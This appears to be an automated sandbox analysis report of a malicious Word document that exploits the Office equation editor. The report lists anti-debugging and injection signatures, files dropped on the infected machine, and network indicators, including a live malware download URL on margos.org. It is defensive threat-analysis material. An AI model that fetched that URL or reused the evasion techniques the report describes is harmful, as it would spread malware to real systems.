Source: Puportd92.exe, 00000004.00000002.745631325.00000000008D4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Anti Debugging
barindex
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_729A1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_729A1BFF
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_037952EA rdtsc 4_2_037952EA
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_03796BA0 mov eax, dword ptr fs:[00000030h] 4_2_03796BA0
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_03794F83 mov eax, dword ptr fs:[00000030h] 4_2_03794F83
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0379744F mov eax, dword ptr fs:[00000030h] 4_2_0379744F
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0379689E mov eax, dword ptr fs:[00000030h] 4_2_0379689E
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0379809F RtlAddVectoredExceptionHandler, 4_2_0379809F

HIPS / PFW / Operating System Protection Evasion
barindex
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\Puportd92.exe C:\Users\user\AppData\Roaming\Puportd92.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\Puportd92.exe Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040352D
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 558760 Sample: BL Copy.doc Startdate: 24/01/2022 Architecture: WINDOWS Score: 100 28 Multi AV Scanner detection for domain / URL 2->28 30 Found malware configuration 2->30 32 Antivirus detection for URL or domain 2->32 34 9 other signatures 2->34 6 EQNEDT32.EXE 11 2->6         started        11 WINWORD.EXE 291 20 2->11         started        process3 dnsIp4 26 margos.org 131.153.37.3, 49165, 80 SSASN2US United States 6->26 16 C:\Users\user\AppData\Roaming\Puportd92.exe, PE32 6->16 dropped 18 C:\Users\user\AppData\Local\...\SYNT[1].exe, PE32 6->18 dropped 36 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 6->36 13 Puportd92.exe 19 6->13         started        20 ~WRF{0A92385B-F20B...4-8D633B606BC4}.tmp, Composite 11->20 dropped file5 signatures6 process7 file8 22 C:\Users\user\AppData\Local\...\System.dll, PE32 13->22 dropped 24 C:\Users\user\AppData\...\Stenkastenes.dat, DOS 13->24 dropped
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
131.153.37.3
 margos.org United States
20454 SSASN2US true

Contacted Domains

Name IP Active
margos.org 131.153.37.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://margos.org/dda/SYNT.exe true
  • 12%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
4,0,414120409,0000000000089000,00000104,00000010,00020000,00000000,1,0 true
    		low
    https://bangladeshshoecity.com/im true
    • Avira URL Cloud: safe
    		 unknown